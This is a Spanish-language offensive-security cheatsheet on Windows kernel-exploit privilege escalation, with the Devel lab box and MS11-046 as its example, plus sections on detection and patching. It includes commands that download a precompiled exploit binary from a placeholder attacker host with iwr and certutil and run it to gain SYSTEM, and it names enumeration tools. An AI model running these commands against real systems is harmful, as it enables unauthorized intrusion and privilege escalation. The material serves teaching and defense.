Windows kernel exploit
Arsenal completo de comandos en la cheatsheetUn exploit de kernel aprovecha un fallo en el núcleo del sistema operativo (o en uno de sus drivers) para ejecutar código en el anillo 0, el nivel de máxima privilegio. En Windows, eso se traduce en pasar de un usuario sin privilegios a NT AUTHORITY\SYSTEM de un solo salto, sin depender de configuraciones erróneas.
Cuándo es el vector. Es la escalada típica de sistemas sin parchear. Si la enumeración local no encuentra servicios mal configurados, privilegios abusables ni credenciales, el siguiente paso es mirar la versión exacta del sistema. En Devel, systeminfo reveló un Windows 7 6.1.7600 Build 7600 (la release original, sin Service Pack ni hotfixes): terreno perfecto para MS11-046, un fallo en el Ancillary Function Driver (afd.sys).
El flujo de trabajo:
- Identificar versión y parches.
systeminfoda el OS Version, la build y la lista de KB instalados (Hotfix(s)). Una lista vacía o muy corta es señal de abandono. - Mapear a CVEs. Herramientas como Windows Exploit Suggester (o su variante Next Generation,
wesng) cruzan la salida desysteminfocon una base de exploits conocidos y sugieren candidatos. - Elegir un exploit fiable. Muchos PoC son inestables y pueden tumbar la máquina (un BSOD). En cajas clásicas suele haber un binario precompilado público y probado (MS11-046, MS16-032, MS15-051...).
- Transferir y ejecutar. Subir el
.exe(por SMB,certutil, etc.) y lanzarlo; si funciona, el proceso queda comoSYSTEM.
Comandos del flujo
Identificar versión, arquitectura y parches:
systeminfo
wmic qfe get HotFixID,InstalledOn
wmic os get Caption,Version,OSArchitectureCruzar la salida contra CVEs conocidos desde el atacante:
# Windows Exploit Suggester Next Generation
wes.py --update
wes.py systeminfo.txt -i "Elevation of Privilege" --exploits-only
# clasico (requiere la base .xls de Microsoft)
windows-exploit-suggester.py --update
windows-exploit-suggester.py --database db.xls --systeminfo systeminfo.txtTransferir el binario precompilado y ejecutarlo:
iwr http://<lhost>/ms16-032.exe -OutFile C:\Windows\Temp\exp.exe
certutil -urlcache -f http://<lhost>/ms16-032.exe C:\Windows\Temp\exp.exe
C:\Windows\Temp\exp.exe # con exito, el proceso queda como SYSTEMEnumeradores locales que también sugieren kernel:
.\winPEASx64.exe quiet
Import-Module .\Sherlock.ps1; Find-AllVulns # MS10-015 / MS16-032 / MS16-135...
Import-Module .\PowerUp.ps1; Invoke-AllChecksMatiz importante: el exploit depende de la versión. No hay una bala de plata. MS11-046 sirve para Windows 7/2008; un Windows Server 2003 con SeImpersonatePrivilege se ataca distinto (con churrasco, que es abuso de token, no kernel). Confirmar la build antes de elegir herramienta ahorra intentos fallidos y crashes.
Riesgo operacional. Los exploits de kernel son los más propensos a provocar inestabilidad. En un entorno real (no un laboratorio) hay que valorar el impacto: un BSOD en producción es ruidoso y disruptivo. Se reservan para cuando otras vías están agotadas.
Cómo detectarlo. El indicio más ruidoso es la inestabilidad: un BugCheck/BSOD en el registro del sistema (Event ID 1001 BugCheck, 41 Kernel-Power por apagado inesperado) justo después de ejecutar un .exe desconocido. Un exploit con éxito deja un proceso hijo corriendo como SYSTEM cuyo padre es un proceso de usuario sin privilegios (4688/Sysmon 1 con salto de integridad de Medium a System), y, si usa BYOVD (bring your own vulnerable driver), la carga de un driver firmado pero vulnerable (Sysmon Event ID 6). Los binarios precompilados conocidos (MS16-032, MS15-051...) los marca el AV/EDR por firma. En reposo, un systeminfo sin Hotfix(s) es la exposición a auditar.
Defensa. Parchear. Es la única mitigación real. Los sistemas heredados que no se pueden parchear deben aislarse de la red o jubilarse; mantener un Windows antiguo expuesto es indefendible. Activar protecciones de integridad de kernel (HVCI, listas de bloqueo de drivers vulnerables) frena el BYOVD.